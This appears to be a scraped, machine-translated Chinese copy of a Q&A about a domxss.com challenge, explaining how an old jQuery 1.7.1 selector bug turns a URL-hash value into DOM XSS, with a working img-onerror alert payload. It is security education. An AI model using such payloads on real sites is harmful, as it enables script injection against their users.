在这个domxss.com挑战中,HTML注入是怎么可能的

本教程将介绍在这个domxss.com挑战中,HTML注入是如何可能的的处理方法,这篇教程是从别的地方看到的,然后加了一些国外程序员的疑问与解答,希望能对你有所帮助,好了,下面开始学习吧。

在这个domxss.com挑战中,HTML注入是怎么可能的 教程 第1张

问题描述

OWASP的HTML注入测试页(link)显示了被认为易受HTML注入攻击的特定代码。

<script src="../js/jquery-1.7.1.js"></script>
<script>
function setMessage(){
 var t=location.hash.slice(1);
 $("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
}
$(document).ready(setMessage  );
$(window).bind("hashchange",setMessage)
</script>
<body>
 <script src="../js/embed.js"></script>
 <span><a href="#message" > Show Here</a><div id="message">Showing Message1</div></span>
 <span><a href="#message1" > Show Here</a><div id="message1">Showing Message2</div>
 <span><a href="#message2" > Show Here</a><div id="message2">Showing Message3</div>
</body>

此代码是(domxss.com)上的挑战之一,我不确定它是否易受攻击。

据我所知,URL的散列可以用作输入,URL中的任何更改都将触发setMessage函数。此URL哈希将成为我的有效负载。然而,此有效负载仅用作jQuery中的选择器,而这正是我遇到困难的地方。

我对XSS比较陌生,因此任何有效负载都将不胜感激。显然,欢迎作出解释。

此外,任何通过jQuery更好地了解HTML注入攻击的资源都将是有用的。

jQuery

是的,非常旧的推荐答案版本对来自动态选择器字符串的xss是易受攻击的。参见jQuery的错误跟踪器上的Bug # 11290-如果表述正确,选择器字符串可能会意外地被解释为HTML。如果用户可以提供选择器字符串,您可能会遇到麻烦。

最小示例:

数据-lang="js"数据-隐藏="假"数据-控制台="真"数据-巴贝尔="假">

$(`div[class='<img src="" onerror=alert("evil")>]`).text("The DOM is now loaded and can be manipulated.");
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>

所以,原来的

$("div[id="+t+"]")

可以注入导致运行任意代码的t

数据-lang="js"数据-隐藏="真"数据-控制台="真"数据-巴贝尔="假">

const t = `'<img src="" onerror=alert("evil")>]`;
$("div[id="+t+"]").text("The DOM is now loaded and can be manipulated.");
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>

该错误已在9年前修复,因此,除非您故意使用旧版本的jQuery并且从不更新依赖项,否则它可能不会影响您。

该错误最终由an insufficiently strict regex.引起。

好了关于在这个domxss.com挑战中,HTML注入是怎么可能的的教程就到这里就结束了,希望趣模板源码网找到的这篇技术文章能帮助到大家,更多技术教程可以在站内搜索。